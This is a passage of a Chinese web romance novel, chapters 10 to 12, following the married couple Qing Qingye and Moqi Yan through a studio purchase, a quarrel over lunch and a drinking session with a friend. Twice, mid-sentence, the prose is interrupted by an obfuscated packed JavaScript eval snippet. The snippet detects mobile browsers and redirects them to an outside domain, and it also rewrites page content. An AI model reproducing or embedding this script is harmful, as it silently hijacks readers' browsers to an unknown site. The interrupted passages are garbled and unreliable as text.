万俟延一时没说话,二人对视。 虽然卿清也说话时脸上带笑,但她语气认真,完全没有在开玩笑,也没有一点儿要打折的意思。 在前台坐着的莫莫整个人愣住,生怕卿清也这番说辞把客人给吓跑了,正准备说出一句“也不是一天24小时都算啦”,还捣了捣一旁舒欣的胳膊,想让她去谈,忽听面前的男人笑了一声。 他比卿清也要高上许多,站在高处打量对方,显得沉稳自然,不慌不忙,他说:“不是还有亲情价和友情价?这会儿又没了吗?” 什么亲情价?什么友情价?莫莫忽然听不懂了。 她问身旁的舒欣:“你知道他们在说什么吗?” 舒欣摇摇头,也是一脸茫然。 没等她们想明白,下一秒,就听卿清也说:“当然有,亲情价可以免去20%,友情价可以免去10%,抹个零头,给我转100万。” 两人惊呆。 然而男人始终神色镇定,掏出手机,在屏幕上随意地点了几下,卿清也的手机就响了。 到这会儿,她们可都看出这是个大客户了,还是个二话不说、做事果断的类型,害她们刚刚虚惊一场。 反正钱已到账,大家也就不再关心他俩,继续各忙各的去了。 万俟延很快收起手机,在一片寂静里,他垂眸看向卿清也,问她:“可以了吗?” 10. 第 10 章 听着就像是:“闹够了吗?” 卿清也很不喜欢他这样的态度。 明明是正常交易,但万俟延总能给人一种他是上帝的感觉。 他总是这样,无论做什么都是一副高高在上的样子,永远得心应手、游刃有余,永远身居高位、居高临下。 常言道:“顾客是上帝。” 但卿清也想,反正他们已经结束了交易,那他们现在就是平等的关系。 她一直都很讨厌万俟延这种俯视众生的姿态,正好身旁有个半米高的仿生树形装饰摆件,卿清也索性长腿一迈、不管不顾地站了上去。 气势很足,但是脚没踩稳,有点儿打滑,险些栽个跟头,幸好万俟延适时伸出胳膊握住了她的手腕。 他皱眉看她,语气也变得有些沉:“你干什么?” 卿清也才不管他是什么态度,反正这会儿她比他高了,至少在气势上占领了高地。她甩开他的手,也学他那样俯视他,架势端得比他还足。 其实现在这里并不是说话的好地方,不用看,也晓得有多少双眼睛在盯着他们。 更何况,万俟延无论是外表还是阔绰的出手方式都太扎眼了,想叫人不注意都难。 卿清也暂时还不希望工作室的人知晓他们的关系,她总觉得这会是一件十分麻烦的事,但比起这事,现在更为关键的事是——她得好好治一治万俟延。 万俟延没顾得上计较自己的手被甩开,担心她摔着,也担心仿生树脆弱的枝干承受不住她的体重,将手放到她小腿上,贴着小腿肚子的位置,手指微微使劲,仰头看她:“下来说话。” 卿清也摇头拒绝。 她站姿笔直,此刻又站得高,垂眸看人时,神态是少见的居高临下。 目睹整个过程的莫莫在前台的位置目瞪口呆,举着手机张着嘴,连游戏都忘了玩。 这是发生了什么? 我看到了什么? 八卦的雷达在她脑中启动,她的眼珠子四处乱转,先是看看万俟延,再是看看卿清也,最后在他俩之间来回转。她总觉得这两人的关系没她想象得那么简单,至少肯定不是什么单纯的顾客和老板的关系。好奇的心都快从嗓子眼里冒出来了,愣是被她强制压住,还不许别人的冒出来。 她用力拉了拉身旁同是目瞪口呆的舒欣和小倪,带两人飞快远离现场。 一时间,大厅只剩下他俩,万俟延仰视着某个耷着眼皮看他的人,又说了一遍:“下来说话。” 卿清也紧闭着唇不说话,表情淡淡的,目光似审视,又似等待。 万俟延静静地看着她,这是他从未在卿清也脸上看到过的表情,虽然在他面前,她常常都表现得毫不在意,但是少有这样拒绝交流的不礼貌的表现,可万俟延又总觉得这副样子似曾相识。 他不是很喜欢。 万俟延眼神平静地看了她好一会儿,虽然眼神平静,但是丝毫不影响他那冷峻漠然的气质。等了半天,他才好似想明白什么,重新开口:“明明刚刚还好好的,我也转了账了。突然这样,我又哪里招惹你了吗?” 卿清也没说话,因为一直以来招惹对方的好像都是她,可他总是这么冷冰冰的,也的确是很过分。她忽然开始后悔自己做出站在仿生树上的决定,要是不站上来,她就不至于像现在这样骑虎难下。 她在心中思考接下来该如何应对,该如何回答,自己现在的姿态是否太过挑衅,又想如果什么都不说地走下去,万俟延会不会觉得她在没事找事,在犯病。 在认真地思考了一番还没想好该说什么后,万俟延忽然将他的另一只手也伸了出来,扶在卿清也另一边的小腿肚上。 肌肤相贴的触感实在太过真实强烈,也不知道是不是因为万俟延的手太热,卿清也总觉得那股温度好像顺着她的小腿直接烧上了她的脖颈,再从脖颈蔓延至耳尖。 她的心脏也跟着猛烈跳动,内心好似被一种异样的情绪包裹,卿清也形容不出这种感觉,只是浑身开始散发热意,睫毛颤啊颤的。 被他温热的手抓得心猿意马,卿清也险些装不下去,她假咳了一声,正色道:“我不喜欢你总是高高在上的姿态。” 万俟延怔然:“什么?” “你总是高高在上。” 万俟延从没想过,自己有朝一日会和这四个字扯上关系,他没办法形容自己在这一刻的心情。就好像明明很努力地去做一件事,却用错了方向,反而闹得个适得其反的效果。甚至于直到许多许多年后,他都记得这一天,记得卿清也认真指出这一点时的模样。 他沉默了一会儿,缓缓挑起眉,明显是一副还在状况外的表情。 “怎么不说话?是承认了吗?”卿清也幽幽道。 “我什么时候高高在上了?”针对她的指控,万俟延面露不解,带着个人对这件事的理解,也可能是嘴上不愿吃一点儿亏,反问道,“是指让你回家睡觉这事?还是指买你的作品?” 可能是因为带着困惑,他看起来要比平时温和许多,不再是那个拒人千里、冷漠疏离的万俟延,导致卿清也半天都说不出什么真切的指控的话来。 不过这也只是暂时的。 “不管是吃饭还是买你的作品,这些都不是理由。”万俟延的脸色又不好看了,语气也变得很差,“你其实只是想找个借口爽我约,对吗?” 他说着,停了下来,看向卿清也,似乎在等她的回复。 卿清也动了动唇,似要回答,又不知该说什么。 这人怎么回事?不是说一些难听的话,就是说一些奇奇怪怪的话,让人莫名其妙的。 不过卿清也没再跟他计较,她想,要不算了吧,反正跟他也掰扯不清楚。 以后还得搭伙过日子呢,就先不跟他闹了吧。 想明白后,她就补了一句:“谁说的?明明是你高高在上买东西的姿态令我十分不爽。” 万俟延仰头看她,似乎早已看透她心中所想,并不理会卿清也这句话。 卿清也自顾自地说:“对了,那个侠女需要给你送去哪儿?送到家的话,我可以亲自为你提供上门.服.务。” 话题突然转到了这儿,令万俟延感到意外。 但他很快就反应过来。 说是上门.服.务,但真接受了,就相当于卿清也收了他一百万,却把东西从她的工作室给搬回了家。 她是一分钱都没损失。 万俟延当然没同意:“我要带去公司。” 卿清也得到回复后,毫不在意地说:“行,那就没有上门.服.务了啊。” “嗯。”万俟延平静道,接着又漫不经心地问她,“可以去吃午饭了吗?” 卿清也不可能没有注意到他的态度变化,低头回答:“可以。” “那下来吧。” 于是,卿清也心里那股子烦躁的情绪登时烟消云散,她顺着万俟延的台阶往下走,把胳膊递给他,说:“扶我一把。” 万俟延没有扶她,右手手臂绕过她的腰,稍稍用力,就将她托抱着给抱了下来。 这一幕让她想起了小时候,他俩也总会闹矛盾,为各种事、各种问题闹别扭。 有一回万俟延约她晚上打游戏,跟她确认了两次,但那是卿清也决定从今以后再也不跟他打游戏的第一周,所以她非常敷衍地说“好好好”,转头就给忘了,并且很早就回自己的房间躺下,睡了个天昏地暗。 万俟延等了她一晚上,从满心期待等到满怀失落,什么都没等到。于是第二天碰面,他的脸变得超级臭。 但卿清也就跟没事人似的,照旧在他面前嘻嘻哈哈的,还说什么以后绝对不会再忘,再忘她就是小狗。 万俟延淡淡扫她一眼,连眉毛都没有动一下,接着冷淡地转回头,重新冲着车窗外,颇有一种这辈子都不打算理人的架势。 他真的一路都没理她。 卿清也对着他的冷脸毫无办法,就自问自答地跟他聊了一路,试图得到他的原谅。 但万俟延的气性是真的很大,不论卿清也说多少话都哄不好他,她从来没有见过气性这么大的人。 到了傍晚,他也没跟平时一样一下课就往自家车的方向走,去奔赴那个令他心心念念的游戏机。 他一直往前走,在卿清也看来其实是漫无目的的,但她还是习惯性地跟在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14359193|152865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了他身后。 而万俟延呢,就好像是为了早点甩开她一样,不动声色地将脚步迈得飞快。要不是卿清也跟得紧,还真的很容易被他甩开。 走了不知多远,忽然走到一棵油橄榄前,万俟延往上扫了眼,接着,他十分不道德地、三下五除二地爬了上去。 他突然坐在树上看起了风景,就好像他的目的地本来就是这棵树。 卿清也眼瞅着这人上了树,在树底下等了他半天,却不见他下来,便也学着他的样子,只不过因为是初次爬树,要比他艰难许多地爬了上去,坐到了他身旁。 见她上来,万俟延跟条件反射似的,突然很快地转过身,从树上跳了下去。 卿清也瞬间无语。 失语半秒后,她也想跟着往下跳,因为觉得这棵树并不高。但是往下看了眼,又觉得若是掌控不好力道的话,容易折了腿,就没敢往下跳。 可是她刚刚只跟万俟延学了上树,没学下树,卿清也瞬间慌了。 万俟延在树下等了会儿,其实气已经消得差不多了,见卿清也始终不下来,赶紧抬头往上看。 同她慌乱无措的目光相撞后,万俟延微微一怔,犹豫着喊她:“亲亲?” 卿清也“嗯”了一声。 万俟延问她:“你怎么了?” 卿清也往下看了看,又朝四周看了看。其实是有点儿生气的,但这会儿并不是闹脾气的时候,纵使心中无奈,她还是如实说:“下不来了。” 万俟延瞥了瞥她,他的神色平静,说话的语气也是镇定自然:“别慌,我帮你下来。” 然后他往前走了两步,朝卿清也伸出手:“来,你把身子往下低一点,把手递给我。” 卿清也呆呆地看着他,依言俯身,让万俟延的手臂能够够到她的腰,随之他一手托着她的腰,一手扶着她的胳膊将她抱了下来。 两人就此和解。 回忆就像放电影似的在脑子里放映,故事的初始,镜头里日光灿烂,时光慢慢悠悠,带着绚丽明媚的色泽。接着镜头一晃,似火山喷发,浓重的色彩瞬间崩裂,随之无忧无虑的青葱岁月呼啸而过,故事里的人分崩离析。 明明好像同从前一样,还是他和她,什么都没改变,可又好像什么都变了。 某一瞬间,卿清也忽然深刻地意识到,原来过去的许多年,她曾真真切切地失去过她年少时最好的朋友。 24岁的卿清也和10岁时不一样,那么24岁的万俟延自然也与曾经不同。 他们曾经刻意地、努力地去忽略对方,假装遗忘,不再联系,把许多年的友情抛之脑后。如今又因为各种乌龙,莫名其妙地走到一起,以不一样的关系重新联结在一起。 说不上是对是错,但或许对现在的他们而言,这已经是最为妥帖的做法了。 友情的修复需要时间,而亲情却好似与生俱来。 好像永远都不会分开。 从前,她也以为他们永远都不会分开的...... 卿清也用左手抚了抚腰间略微起皱的衣服,抚平后将手放下,她深吸了口气,开玩笑说:“大清早的就过来约我吃饭,万俟总好有闲情逸致啊。” “那自然是比不过卿老板业务繁忙。”万俟延随口回答,又忽然出声喊她,“卿清也。” 卿清也抬头看他:“怎么了?” “你的戒指呢?”万俟延问。 卿清也下意识地看了眼自己的无名指,空空荡荡的,看了片刻,她才收回手,回答:“哦,被我收起来了。” 但万俟延貌似不信,又问她:“收到哪儿了?” 卿清也皱眉看他,张了张嘴,想说什么,又忍住了。转身领他去自己的休息间,指了指床边的桌子:“中间那个抽屉。” “因为工作的时候不太方便,所以我把它收起来了。” 万俟延二话不说地拉开那个抽屉,看到深蓝色绒布的盒子后,他“嗯”了声,取出盒子,揣进了自己兜里。 卿清也登时愣住了。 “不是,给出去的东西还有收回的道理吗?我是因为捏泥的时候不方便戴戒指,怕搞坏,这你也要收回?” 11. 第 11 章 万俟延瞥了瞥她,忽而不知该说什么,脸上的表情变幻莫测,目光却始终落在卿清也身上,只是一语未发。 卿清也仰着脸看他,并未发现身前人的表情变化,她指着他,继续说:“送我的东西就算是归我了,你没有理由收走吧。” 万俟延看了她一会儿,神情开始变得微妙,但也没说是还还是不还。 不过卿清也觉得他是不愿意还,怕他又要说出一些刁难的话来,干脆走到他跟前,朝他伸出手:“我最近不用捏泥了,还给我吧。” 到这会儿,万俟延才算是听明白她的意思,他差点没被她气笑:“谁说要收走了?我只是想拿去配一条链子。你不方便戴戒指,不如把它当成吊坠。” 他扫她一眼:“你想什么呢?” 一股尴尬的情绪浮上心头。 但卿清也不管:“那你也得还给我,不管是当成戒指还是吊坠,我都会自己看着办的。” 万俟延没再说什么,掏出戒指盒,放到她手心。 卿清也打开盒子,拿出戒指,终于恢复了平静,一边戴戒指,一边小声嘟哝道:“给别人的东西,竟然还有收回去的,什么人啊真的是。” “我没有说要收回来。”万俟延再次解释。 “但你刚刚肯定起了这个念头。”卿清也说,转身朝外头走去。 她实在是喜欢栽赃陷害,不过万俟延没搭理,只问她:“午饭想吃什么?” “看你。”卿清也随口说,说完朝四周看了眼,又回头瞪了万俟延一眼,低声道,“你注意一点儿。” 她发现自己刚刚因为气急,竟然直接把顾客给带到了休息间,这实在是解释不过去,无论如何都解释不过去。 特别是万俟延还一身正装地出现在这里,穿得跟他们重逢时一样,深灰色的西装,脸上没有任何表情,却又鹤立鸡群般的打眼,与周围环境格格不入。 她其实很少看到万俟延穿得这么正式,往常,不过也是6年前的往常了,他的穿着一直都很清爽简单。 而现在给她的感觉是什么呢?就是——庄重,沉闷,严肃。 卿清也怎么都想不明白。 为什么万俟延年纪轻轻的,作风却这么死板? 她的思绪乱飞,跟思考之后要怎么装修他的家一样,在思考以后该给他买什么样的衣服。 而万俟延的思路还停留在上一阶段,因为卿清也的话,他变得极为不满:“怎么?跟我结婚让你很没面子吗?” 卿清也愣了愣,没明白过来他的意思,只是否定得特别快:“你别冤枉人,我可没有这么说。” 万俟延没理她,拉开休息间的门走了出去。 两人一块儿出门的时候,莫莫她们早已回到了大厅,只不过每个人都装作若无其事的样子在忙自己的工作。特别是莫莫,还在玩她那神奇的游戏。 卿清也自然以为她们什么都没看出,心安理得地跟着万俟延出了门,愉快地上了他的车。 万俟延驶出车流入水的街区,很快就把“留白”工作室给甩在了后头。 由于他不爱听广播,也不愿听音乐,自他们落座后,车厢内至少保持了三分钟的寂静。 卿清也无所事事,只能偏头看向窗户外边。看外头高大的街灯,皎白的云朵,还有节节后退的树木,以及隐在树后的许许多多的广告牌。这一路开过去,她竟然看到了不下三家有关《以你之名》的游戏宣传,擦着车窗飘忽而过。 她看着满屏花花绿绿的人物形象,眼睛倒是没花,只是头有些疼。 卿清也在心里想,你看,多稀奇啊,她,万俟延,还有游戏,竟然能够同时存在于一个空间。 想到这,她又忍不住继续想,如果那天自己没有答应万俟延,那么今天和他坐在同一辆车上的会不会就是另一个女生? 不知道是怎样的一个女生,也不知道万俟延会如何对待对方,又会怎么同对方说话,用什么样的语气。 从来没有得到过也就罢了,没得到她还能警告自己放弃幻想,一旦得到了,她就无法想象自己有朝一日会失去,也无法想象会有另一个女生出现在这辆车上。 所以幸好,那天她临阵脱逃后又及时止步,没有酿成极大的错误。 她当然知道成为夫妻并不一定就是正确的,也不一定会比成为朋友更好,成为夫妻或许也会遇到许多矛盾。更何况他们还没学会如何成为好友,就变成了朝夕相对的夫妻,过程属实有些冲动、果断。 但卿清也想,绑定夫妻关系就跟绑定通关游戏的账号一样,努力点,或者氪个金,到了一定程度总能解锁下一关,总好过她连账号都没有吧。 想明白后,卿清也当即转过头来,看向驾驶座上的男人。 万俟延在安静地开车,不过他本身也不是一个话多的类型,卿清也只能没话找话聊,问他:“你最近很忙吗?” 因为他一直在出差,所以她想,他一定很忙。 结果万俟延却说:“那自然比不过卿老板日理万机。” 卿清也“嗯”了一声,她自然听出了万俟延在阴阳怪气,一时间心情极度复杂。 本以为这篇万俟延早就翻过去了,就跟自己一样,没当回事儿,没想到他还在耿耿于怀。 要是就这事跟他细细辩论一番,保不齐会发生一阵争吵,从这吵到吃饭结束,属实没必要。 卿清也看了他几秒,心里其实并不怎么舒服,有几分无奈又有几分认真地同他解释:“不是故意不回去的,我这几天是真的有点儿忙,一直住在工作室。”想了会儿,她又说:“万俟延,我们好好说话吧。” 万俟延似乎没听懂,也可能他的确做不到好好说话,所以没有立即回复。 在长达5分钟的静默后,卿清也只能继续寻找话题:“我们去吃什么啊?” “粤菜。”万俟延很快回答。 接下来又是很长时间的沉默,长到卿清也忍不住皱眉:“你去吃过?好吃吗?” “吃过,还行。”万俟延说,“应该符合你的口味。” 卿清也显然没有料到他会这么说,忍不住看了他一眼。 不过这也不怪万俟延,卿清也的挑食可是出了名的。 在两个人还不怎么熟悉的情况下,某天,双方父母工作都很忙,家里做饭的阿姨又请了假,陈诗芸就打电话过来交代万俟延,要记得带卿清也出去吃饭,好好吃。 万俟延并不清楚陈诗芸的好好吃是个什么样的标准,就自作主张地带着卿清也去吃起了日料。结果这人对吃得极为挑剔,压根不吃生冷的食物,看到各种各样的刺身,她连筷子都懒得提。 没办法,万俟延只能带她去吃中餐,谁知她八大菜系里至少有一半是不吃的,还吃不了辣。带皮的、有刺的不吃,各种内脏不吃,带腥味的也不吃,这不吃那不吃,万俟延几乎快要被他磨得没有脾气。 这一趟折腾下来,万俟延也算是明白过来,他跟这姑娘是完全吃不到一块儿去。 最后走到一家粤菜馆,门口的服务员早已注意到外头面色难看的二人,但仍笑容满面地问他俩:“二位是要用餐吗?里边儿请啊。” 万俟延停下步子,垂眸看她,最后一次耐着心问她:“吃不吃?” 他个子要比卿清也高上许多,体型也大,影子几乎整个笼罩在她身上,看着她时,眼眸漆黑,眼神冰冷,说话的语调也是冰冰凉凉。 卿清也一直都觉得万俟延是她见过的最好看最明媚的男生,但他好像不怎么会利用自己的表情,总是面无表情的,看起来十分吓人。 从10点到13点半,卿清也不明所以地跟着他走了好几个小时。 她其实真的觉得万俟延是在耍她,就跟之前带她出门,结果临时想甩了她一样,他肯定是因为不想带她玩。不然这世上有那么多好吃的食物,他是怎么做到带着她走进一家又一家餐厅,让她去吃那么难吃又可怕的东西的? 卿清也蹙眉,想了想,最后还是点了点头。 倒也不是出于什么畏惧心理,只是在外头晃晃悠悠的,她是真的有点儿饿了。想着不管这家餐馆的饭菜有多难吃,也将就着先吃点儿的吧。 不过那天她倒是没吃多少,而万俟延却是吃了许多。他或许是真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14359194|152865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饿惨了,在吃完那些刺身之后,竟然还能连干两碗饭。 车子在老街区停下。 卿清也跟着万俟延下了车,走到一家中式餐厅门前,她看到餐厅门口的标牌上写着“水云间”三个字。 水云间是一家地地道道的粤式餐厅,店面不大,位于城西的老巷里。进门就能看到潺潺流水,假山绿植。 顾客很多,里里外外排队的都不少,但万俟延提前订了包间,位于最里侧,选了一个最为幽静的位置。 服务员朝他们递来菜单,万俟延示意交给卿清也:“你看着点吧。” 卿清也伸手接过,点菜的时候询问了他几个意见,见万俟延都没关系,就根据自己的饮食偏好,全点了自己爱吃的菜。 其实最初万俟延并不怎么吃粤菜,也不喜欢吃,但他觉得倒也没到完全接受不了的地步,加上卿清也喜欢吃,就努力尝试着去吃,最后倒也可以接受了。 这家餐厅的菜上得很快,万俟延不爱聊天,一直在吃,并且在吃饭时不会去做任何事,也不看手机。 卿清也不知道万俟延为什么能那么认真地吃饭,或许是因为吃饭对他来说是一件极其重要的事情吧,不然也不至于硬是要逼着她一块儿用餐。 见状,卿清也刚想说一句“那我也要开动了”,准备跟着万俟延专心致志、奉行“食不言”的原则之时,放在桌上的手机忽然振动了起来。 万俟延本在一言不发地吃饭,听闻动静,他下意识地往卿清也的方向瞟了一眼,在扫到手机屏幕上显示的“简行”二字之时,拿筷子的手蓦地一顿。 又是简行。 万俟延不是很喜欢这个名字,他不自觉地放下筷子,皱起了眉。 响了几声,卿清也才拿起手机,倒也不避讳,直接当着万俟延的面划开了接听键。 电话里很快传来陌生的男声,低沉,爽朗,含着笑意:“卿老板,吃饭没?” “怎么,这是打算约我吃饭呢?” “对啊,赏脸吗?”简行问道。 他跟卿清也同龄,算是高中校友,家里一直是做艺术品销售的,资源广,人脉也多。自卿清也入行后,给她介绍了不少客户。大抵是沾了简行的光,卿清也的泥塑事业发展得顺顺利利的,很早就实现了经济独立。 说起来,简行可谓卿清也的贵人。最初进入泥塑这行,也是他给卿清也介绍的泥塑大师,所以卿清也对他总是怀抱感激之情。 没听到回复,简行又问:“这是......已经有约啦?” “对啊,很不巧呢。”卿清也朝万俟延的方向看了眼,见他冷眼相待,便笑眼盈盈地冲那边说,“正吃着呢。” 听出她的语气,简行在电话那端笑了笑:“那就不打扰啦,下次再约。” “行。” 卿清也将电话挂断,把手机放回桌面,重新提起筷子。 只吃了一口排骨,就好像预料到般,她听到万俟延问她:“是谁?” “我的贵人。”卿清也言简意赅。 像是被这几个字刺激到,万俟延安静数秒,才重新开口:“约你吃饭吗?” “对啊,你知道的,我这人就是这么业务繁忙,总有约不完的饭局。你要不提前预约,都不一定能排得上号。”卿清也故意逗他。 “那要不干脆叫他一起过来?”万俟延提议。 “你确定?”卿清也抬眉看他,似乎不明白他的意思,不过很快否决道,“但我跟他说了改天再约。” “是吗?”万俟延说着,站了起来,语气又恢复成一贯的冷漠,“那还真是打扰你们了。我吃饱了,公司有事,就先走了。” 他往包间门口走去,手刚放到门把手上,忽被身后之人喊住:“等一下。” 万俟延收回手,以为她要说一些劝阻的话,或者只是想让自己留下来陪她吃饭,转过身来看她。 却等来一句:“你怎么总是这么小心眼啊?” 万俟延简直要被她气笑。 冷眼看了她几秒,他承认道:“对,我就是这么小心眼。”说完,他拉开门把手,面无表情地走了。 12. 第 12 章 “所以,你俩就这么闹崩啦?” 接到卿清也的电话时,郁芣苢还吓了一大跳,寻思着工作日约她喝酒,卿清也准是遇到了什么事。虽说不知道发生了啥,但郁芣苢还是真切地感受到了闺蜜的失落,一边让她到自己家来、别心烦,一边在钉钉上挂假条。 结果回家听卿清也念叨完,才发现是为感情的事,郁芣苢感到不能理解的同时,心下也算是长舒了一口气。 她其实并不清楚万俟延跟卿清也之间的恩恩怨怨,以前卿清也偶然提到过两次,可每每聊到分开之时她就不愿再提了。郁芣苢从未见过万俟延,但想到他俩这老死不相往来的架势,难免不在心中脑补一出离奇的爱恨情仇戏码。只不过后来他俩又结婚了,那么郁芣苢以为,他们之间或许只是存在着某些误会。 不过应该问题不大。 她喝了口酒,掏出手机,给屏幕里自己最爱的游戏角色输入对话,听他傲娇地回应自己,爱答不理的样子,回头才算是收拾好心情,问卿清也:“就因为这?这算个什么事嘛?” 郁芣苢把手机铃声开得超级大,卿清也对这背景音早就熟悉异常,已然到了免疫的程度,她闷头喝酒,也非常郁闷地说:“我也不理解啊,我就跟他开个玩笑,谁知道他竟然那么生气,无语!” 坦白讲,她最近忙得不可开交,连觉都没能好好睡过一场,也没好好吃过饭。好不容易决定今天要去好好吃一顿了,也的确吃到了自己爱吃的粤菜,还赚了一大笔钱,本来开开心心的,谁知道最后会变成那样,到现在,那些兴奋、愉悦、满足的心情算是彻底烟消云散了。 卿清也盯着杯中五颜六色的酒沉思,到底是在哪个环节出了岔子,她是怎么把万俟延给激怒的。要只是跟简行约饭这个话题,她觉得应该不至于,万俟延不可能真的那么小心眼。可是琢磨了半天,她愣是啥也没琢磨出来。 她觉得万俟延的脾性是真的让人越来越难以捉摸了,高傲、冷漠,不顺心连饭都不吃就走人,实在是太过分了。完全不懂什么叫礼貌,什么叫克制。 郁芣苢放下手机,跟卿清也碰了碰杯,喝完酒,像是需要一些下酒的八卦似的,追问道:“那后续呢?你开完玩笑之后呢?你俩就不联系啦?” “......倒也没有不联系。”卿清也轻声说。 “什么意思?” 卿清也忍不住叹了一声。 其实按照她的设想,她是决心遵照“敌不动,我不动”的策略的,只要万俟延不主动联系自己,她就不去主动找他。等到他终于忍不住了,给她发来消息之时,卿清也再装作十分忙碌的样子,百忙之中抽空回复他一条:【哎呀,不好意思,刚忙忘了。】 多来个那么几回,万俟延就能知道她的厉害了,他肯定会受不了,那么他俩自然而然就该握手言和、冰释前嫌了。 她想得挺好,但谁能想到万俟延那么过分,竟然连一个问号都懒得给她发,让她“敷衍、冷漠应对”的设想毫无用武之地。 卿清也一想到万俟延午饭时甩脸走人的样子就感到恼火,并且越想越气,气得回到工作室干活都浑身不得劲。 莫莫本在前台玩游戏,玩了一会儿,例行过来检查,随意一扫就瞧出了她给泥人衣服上色的大小色块极度不协调,图案和花纹的色彩可以称之为非常极端,赶忙问她:“你没事吧?要不咱歇会儿的?” 卿清也果真停下了,这一停倒好,工作她倒是不想了,满脑子都变成了万俟延,再塞不下其他东西。 本想忍一忍的,感觉过个几分钟就不会再想起他了,但是过了好多个几分钟,她也没忍过去。 可是万俟延没有主动来联系自己,她也不能先低头,她告诉过自己的,不能违反这个原则。 然而下一秒—— 她还是把手机拿了出来,对着那个黑乎乎的微信头像拍了拍,见没有反应,以为他没看见,她又拍了拍。还发了好几个揍人的表情包,最后实在了无音讯,她便开始指责他:【我没有见过比你更小心眼的人了!】 万俟延一条都没回复。 想到这,卿清也就觉得非常生气,越想越烦,她把聊天记录拿给郁芣苢看,希望好友能够跟她一块儿义愤填膺。 郁芣苢随意地扫了眼她的手机屏幕,忽然开始帮理不帮亲地说:“要是我游戏里的对象给我发这些,我估计也不会搭理对方。” 卿清也“哦”了声,大概是对郁芣苢的话尤不满意。 不过郁芣苢没在意,她还在倒腾她的游戏角色,没有分出眼神看卿清也。 卿清也坐在她对面,放下手机,抓起酒杯又喝了口酒,手指轻轻地磕着杯壁,问她:“所以你也觉得是我的错嘛?” “那倒没有,我就是有点儿搞不懂你俩。”像是不能理解为什么他们能够因为这么一点儿小事吵架,郁芣苢继续道,“你确定你们以前是好朋友吗?不是你一厢情愿?” 闻言,卿清也怔了怔,脑子转了转,好像因为这话有点儿转不动了,但她不管,还是特别笃定地告诉郁芣苢:“虽然我们现在闹矛盾了,但我俩以前真的是好朋友,很好很好的那种,我不撒谎,你也不要试图篡改我的记忆。” 听出她的醉意,郁芣苢“呵”了一声,故意逗她:“那怎么办呢?你俩现在过不下去了啊,要不干脆离了算了?” 卿清也霎时瞪圆了眼珠子,反应了好半天,才好像听明白她在说什么。 很快地摇摇头,怕郁芣苢没看见,她又摇了两下,才自顾自地往下说:“不知道你还记不记得小时候我们分开的场景,我觉得超级难过的,那一阵我都特别伤心。但那会儿我们每周都能打电话,一聊聊好久,我就觉得还好。后来上了大学,我们每天都能见面。” 郁芣苢不知道她想说什么,往屏幕上点了几下,把游戏静音,沉默地听着,没有打断她。 “可是跟万俟延,我们是真的有6年没有见过面了,整整6年,一句话都没有说过。”卿清也抓着酒杯,慢慢道,像是试图说服她,又像是说服自己,“人怎么能够平静地接受分别呢?那种像是把人从你的生命里生生剥离的感觉,怎么能够接受呢?” “我接受不了,我到现在想起来,仍旧会感到特别难过。” 那时年少的卿清也并不晓得他们会闹多久,她想或许是一个月,也或许是半年,反正他们迟早都会和好的,一直以来都是如此。只是没想到,这个迟早竟然花了这么多年。 “我知道你一直都觉得我跟他结婚这事特别冲动,可是芣苢,人一般是不会有破镜重圆亦或是重新来过的机会的,既然他给我递了台阶,那我为什么不顺着这个台阶下呢?还有关于离婚这事——”卿清也摆摆手,“那可不行,我家往上数十代都没有离婚的例子,我也不能开这个先河。” 知道她死都不会离婚,还说得一本正经的,郁芣苢忍不住笑了起来。笑了会儿,她停下来,好像忽然想起什么似的,跟卿清也提起自己前阵子碰到的事。 是在燕城比较有名的一家餐厅,有两对父母和子女,似乎在商谈婚事。 原先还好好的,聊得挺顺,谁知在商谈装修房子的时候,两家忽然吵了起来。本来大伙儿都没注意到他们那边的,但他们实在吵得太大声了,包厢再好的隔音也挡不住。 郁芣苢不得不被迫听着他们对骂,也是在这个过程中,她可算是听明白了,原来他们是在为新房里是否应该准备一个酒柜而吵架。 一家觉得需要,可以充当门面,另一家则觉得完全没必要,还浪费钱。 两家人根本谈不到一块儿去。 “所以他们就为一个酒柜吵起来啦?”卿清也简直难以置信。 “或许是因为酒柜吧,但也可能不是。你知道的,人与人相处,多大点儿事都能吵起来。你不也因为一点儿小事在这生气吗?就这点儿事?” “我不觉得这是一件小事。” “行吧,事儿呢的确不是什么大事,问题在于你是怎么想的?想怎么解决?” 卿清也想了想:“我想等他意识到自己的错误,主动来找我。” “你确定你要这么解决?” “......没有。唉,太难了啦。我感觉结婚就像是玩通关游戏,太难了,我好像永远都通不了关了。” “反正只要最后能够通关,过程曲折点又如何呢?就跟玩游戏一样,你说,对吧?”薄言初好心开解万俟延,道。 他原本是来检查项目进度的,跟万俟延约了时间,懒洋洋地躺在他办公室的沙发上等他。谁能想到不多时,门拉开,进来的却是一个本该享受新婚之喜,此刻脸却臭得跟失恋一样的人。 “这是咋啦?吃炮仗啦?”薄言初问他。 万俟延不想理他,将泥人放到办公桌后的文件柜里。 “跟卿清也吵架啦?这才结婚多久?”薄言初继续问。 万俟延仍是一腔油盐不进的样子。 薄言初小时候学过一阵行为分析学,学得还挺不错。不过万俟延这种类型的,不用分析他的行为,他都能猜出是为谁。 他总是这样,不生气倒还好,一生气就开始闷声不响。这么多年下来,薄言初也算是摸透了他的脾性。不过万俟延不常生气,而能把他激怒的人,从始至终也就那么一个人。 想明白了,遂开始好言相劝。 